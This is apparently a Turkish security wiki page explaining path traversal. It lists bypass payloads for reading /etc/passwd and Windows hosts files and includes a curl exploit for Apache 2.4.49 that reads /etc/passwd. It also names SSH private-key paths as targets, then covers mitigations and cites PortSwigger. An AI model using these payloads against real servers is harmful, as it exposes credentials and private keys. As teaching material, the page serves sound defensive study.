Directory Traversal
Path Traversal Nedir?
Path traversal veya directory traversal bir saldırganın uygulamayı çalıştıran sunucudaki herhangi bir dosyayı okumasını sağlar. Bu dosyalar şunları içerebilir:
Uygulama kodu ve verileri.
Arka uç sistemler için kimlik bilgileri.
Hassas işletim sistemi dosyaları.
Bazı durumlarda, bir saldırgan sunucudaki rastgele dosyalara yazarak uygulama verilerini veya davranışını değiştirebilir ve sonuçta sunucunun tam kontrolünü ele geçirebilir.

Yöntemler
Full Path
/etc/passwd
C:/windows/system32/drivers/etc/hosts
Dizin Değiştirerek
../../../../../etc/passwd
../../../../../windows/system32/drivers/etc/hosts
Korumayı Atlatma
....//....//....//etc/passwd
....//....//....//windows/system32/drivers/etc/hosts
URL Encoding
..%252f..%252f..%252fetc/passwd
..%252f..%252f..%252fwindows/system32/drivers/etc/hosts
Dizin Kontrolünü Atlatma
/var/www/images/../../../etc/passwd
C:/inetpub/wwwroot/images/../../../../../windows/system32/drivers/etc/hosts
Eklenti Korumasını atlatma
../../../etc/passwd%00.png
../../../../../windows/system32/drivers/etc/hosts%00.png
Apache HTTP Server 2.4.49
curl -s --path-as-is "http://192.168.199.245/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
/etc/passwd
/root/.ssh/id_rsa
/root/.ssh/id_ecdsa
Önlemler
Path traversal güvenlik açıklarını önlemenin en etkili yolu, kullanıcı tarafından sağlanan girdiyi dosya sistemi API'lerine aktarmaktan tamamen kaçınmaktır.
Kullanıcı tarafından sağlanan girdiyi dosya sistemi API'lerine aktarmaktan kaçınamıyorsanız, saldırıları önlemek için iki savunma katmanı kullanmanızı öneririz:
Kullanıcı girdisini izin verilen değerlerden oluşan bir beyaz liste ile karşılaştırın. Bu mümkün değilse, girdinin yalnızca alfanümerik karakterler gibi izin verilen içeriği içerdiğini doğrulayın.
Sağlanan girdiyi doğruladıktan sonra, girdiyi temel dizine ekleyin ve yolu canonicalize etmek için bir platform dosya sistemi API'si kullanın. Canonicalized yolun beklenen temel dizinle başladığını doğrulayın.
Kaynaklar
Portswigger Academy: https://portswigger.net/web-security/file-path-traversal
Last updated
Was this helpful?